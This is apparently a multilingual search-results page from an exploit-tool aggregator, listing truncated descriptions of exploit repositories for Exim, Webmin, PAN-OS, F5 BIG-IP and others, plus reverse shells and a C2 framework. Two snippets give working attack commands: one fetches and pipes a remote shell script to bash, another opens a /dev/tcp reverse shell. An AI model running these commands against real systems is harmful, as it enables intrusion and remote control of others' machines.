34994 matches found
Exim-CVE-2019-10149
Exim-CVE-2019-10149 PoC pour l'exploitation de la vulnérabilité CVE-2019-10149 Exemple d'utilisation python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...
CVE-2012-2982-Exploit-Script
CVE-2012-2982-Exploit-Script Un script d'exploitation simple et concis pour la vulnérabilité RCE authentifiée CVE-2012-2982 dans le point de terminaison /file/show.cgi/bin. Exploit RCE Webmin — CVE-2012-2982 Ce dépôt contient un exploit de preuve de concept en Python pour Webmin = 1.580, ciblant...
Corsair---DLL-Planting-CVE-2023-38822
Corsair---DLL-Planting-CVE-2023-38822 Plantage de DLL dans Corsair iCUE v.5.3.102 CVE-2023-38822 Découvreur : Idan Malihi Description Un problème dans Corsair iCUE v.5.3.102 permet à un attaquant local d'exécuter du code arbitraire via les composants MPDC.dll, CRYPTSP.dll, dcomp.dll, profapi.dll ...
Zerodoor
ZeroDoor Сценарий, написанный на скорую руку для генерации обратных оболочек reverse shell backdoors на ходу, когда они вам понадобятся, без лишних хлопот для ежедневных нужд пентеста. Эти бэкдоры — не шпионские технологии уровня Джеймса Бонда, а скорее простые, чтобы избежать чрезмерной...
DccwBypassUAC
DccwBypassUAC Cet exploit exploite la façon dont « WinSxS » est géré par « dccw.exe » au moyen d'une méthode dérivée du « Bypass UAC » de Leo Davidson afin d'obtenir un shell administrateur sans invite de consentement. Il prend en charge les architectures « x86 » et « x64 ». De plus, il a été tes...
CVE-2019-17558_Solr_Vul_Tool
Outil de détection de vulnérabilité d'injection de template Solr Velocity Présentation de l'outil À la fin du mois d'octobre 2019, la vulnérabilité d'exécution de commandes à distance par injection de template Velocity dans Solr a été révélée. La détection manuelle de cette vulnérabilité nécessit...
CVE-2024-0012_CVE-2024-9474_PoC
🚀 Exploit CVE-2024-0012 et CVE-2024-9474 Palo Alto PAN-OS 🔐 🛡️ Description Ce script de preuve de concept PoC cible les vulnérabilités de Palo Alto PAN-OS, spécifiquement CVE-2024-0012 et CVE-2024-9474 en automatisant le processus d'exploitation, y compris le contournement de l'authentification, l...
Limesurvey-RCE
Limesurvey-RCE RCE authentifié sur LimeSurvey Preuve de concept : 1. Créez vos fichiers config.xml et les fichiers reverse shell php 2. Créez une archive avec ces fichiers 3. Connectez-vous avec vos identifiants 4. Allez dans Configuration - Plugins - Upload & Install 5. Choisissez votre fichier...
LnkMeMaybe
LnkMeMaybe Un kit .NET 8 pour créer et analyser des fichiers Windows Shell Link .lnk. Il comprend un générateur en ligne de commande LnkMeMaybe et un éditeur graphique LnkUi. Destiné à la recherche en sécurité et aux tests d'intrusion. Projets...
PwnLnX
PwnLnX Un reverse shell Python avancé multithreadé , multi-client pour pirater des systèmes Linux. Il reste encore du travail à faire, alors n'hésitez pas à contribuer au développement. Avertissement : Ce reverse shell ne doit être utilisé que pour l'administration légale et à distance de système...
SSE4-CVE-2022-22965
Spring Boot CVE-2022-22965 PoC Docker pour CVE-2022-22965 avec Spring Boot version 2.6.5 Pour commencer 1. Exécutez docker compose up --build pour construire et démarrer l'application vulnérable. 2. Exécutez curl -H "Accept: text/html;"...
tippa-my-tongue
Tippa My Tongue Tippa My Tongue est un exploit qui utilise CVE-2022-1388 et CVE-2022-41800 pour établir un shell inversé root sur les produits F5 BIG-IP. La plupart des exploits de CVE-2022-1388 obtiennent l'exécution de code via /mgmt/tm/util/bash. Cependant, cet exploit utilise...
postshell
PostShell PostShell est un shell de post-exploitation qui inclut à la fois un shell bind et un shell de back connect. Il crée un TTY entièrement interactif permettant le contrôle des tâches. La taille du stub est d'environ 14 Ko et peut être compilé sur tout système de type Unix. Captures d'écran...
postshell
PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...
WebLogic-Shiro-shell
Partage de techniques de désérialisation Java Ce partage aborde les points suivants : 1. Fondamentaux de la sérialisation et de la désérialisation Java 2. Pourquoi des vulnérabilités apparaissent-elles lors de la désérialisation ? 3. Réflexion Java 4. ysoserial...
CVE-2023-4220_Chamilo_RCE
CVE-2023-4220 Exploit Python pour la vulnérabilité de téléchargement de fichier non restreint dans Chamilo - CVE-2023-4220 Le code contenu dans ce dépôt est destiné uniquement à des fins éducatives. Description: Téléchargement de fichier non restreint dans la fonctionnalité de téléchargement de...
CVE-2022-24637
CVE-2022-24637 Open Web Analytics OWA - Exécution de code à distance non authentifiée https://vulners.com/cve/CVE-2022-24637 Exemple root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...
emp3r0r
emp3r0r A self-healing, memory-only C2 for Linux and Windows — agents that survive broken links, never touch disk, and script their way through the Win32 API. What is emp3r0r?...
CVE-2024-47533
root@kitploit: Обратная оболочка python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Простая команда python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Добавление SSH-ключа python3 CVE-2024-47533.py --url...